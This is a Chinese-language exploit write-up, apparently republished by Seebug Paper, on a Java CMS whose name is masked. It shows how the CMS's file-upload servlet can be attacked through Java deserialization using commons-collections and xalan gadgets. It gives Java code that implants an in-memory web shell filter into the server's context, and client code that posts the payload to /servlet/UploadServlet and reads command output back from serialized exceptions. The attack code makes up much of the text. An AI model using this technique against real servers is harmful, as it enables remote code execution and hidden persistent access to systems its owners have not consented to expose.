作者:unicodeSec @寬字節安全
原文鏈接:https://mp.weixin.qq.com/s/IdXYbjNVGVIasuwQH48Q1w
雖然打厚碼,但是好兄弟們依舊知道我在說什么。這個java cms的反序列化點極多,而且報文中沒有多少特征。至于這個是不是你們說的0day/1day,我就不清楚了,好兄弟們自行分辨。
首先從任意文件上傳說起
任意文件上傳分析代碼在servlet.FileReceiveServlet。在這里我們可以看到,從請求中讀取流,然后轉換為map類型并讀取上傳文件的路徑。然后再讀取待上傳的文件。

而網上很多poc,大多都是基于此漏洞,利用反序列化上傳一個文件到服務器。
這也就是去年的那個任意文件上傳的反序列化漏洞。但是,但是,這個漏洞本質是一個反序列化漏洞。而且某C的classpath中,也存在apache commonscollections庫,我們可以利用這個庫,直接執行命令或者內存馬。豈不是比任意文件上傳舒服多了。
內存馬
老樣子,在反序列化中想執行任意代碼,一般都依靠xalan這個庫。這次也不例外。
植入內存馬,關鍵在于我們怎樣找到context,只有找到context,我們才可以添加filter。好在某c中,我們只需要通過下面的代碼既可以獲取當前context,不需要從tomcat中獲取context
Object obj = 改動Locator.getInstance().lookup("ServletContext");
Field contextField = obj.getClass().getDeclaredField("context");
contextField.setAccessible(true);
obj = contextField.get(obj);
Field contextField1 = obj.getClass().getDeclaredField("context");
contextField1.setAccessible(true);
addFitlertoTomcat(contextField1.get(obj));
剩下的就是常規操作,可以看我之前的內存馬模型,基本不需要很大的改動即可完美適配。

回顯
我們只需要找到這樣一個servlet,即存在反序列化的readObject,又將錯誤信息寫入到response中
不難看出 uploadServlet 就很滿足這個需求。
out = new ObjectOutputStream(output);
in = new ObjectInputStream(request.getInputStream());
String dsName = (String)in.readObject();
}
} catch (Exception var14) {
var14.printStackTrace();
if (out == null) {
throw new ServletException(var14);
}
out.writeObject(var14);
如果出錯的話,將錯誤信息通過序列化寫入到response中。好處在于,我們不需要麻煩的去找tomcat的response對象。
所以,我們將反序列化的payload,發送給uploadServlet即可。然后我們只需要讀取響應,即可拿到服務器命令執行的回顯結果。客戶端代碼可以這樣寫
byte[] r = HttpClient.post("http://192.168.12.133/servlet/UploadServlet", baos.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(r));
Exception e = (Exception) objectInputStream.readObject();
Object obj = e.getCause();
Field targetF = obj.getClass().getDeclaredField("target");
targetF.setAccessible(true);
obj = targetF.get(obj);
Field msgF = obj.getClass().getSuperclass().getDeclaredField("detailMessage");
msgF.setAccessible(true);
String msg = msgF.get(obj).toString();
System.out.println(msg);
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1547/
暫無評論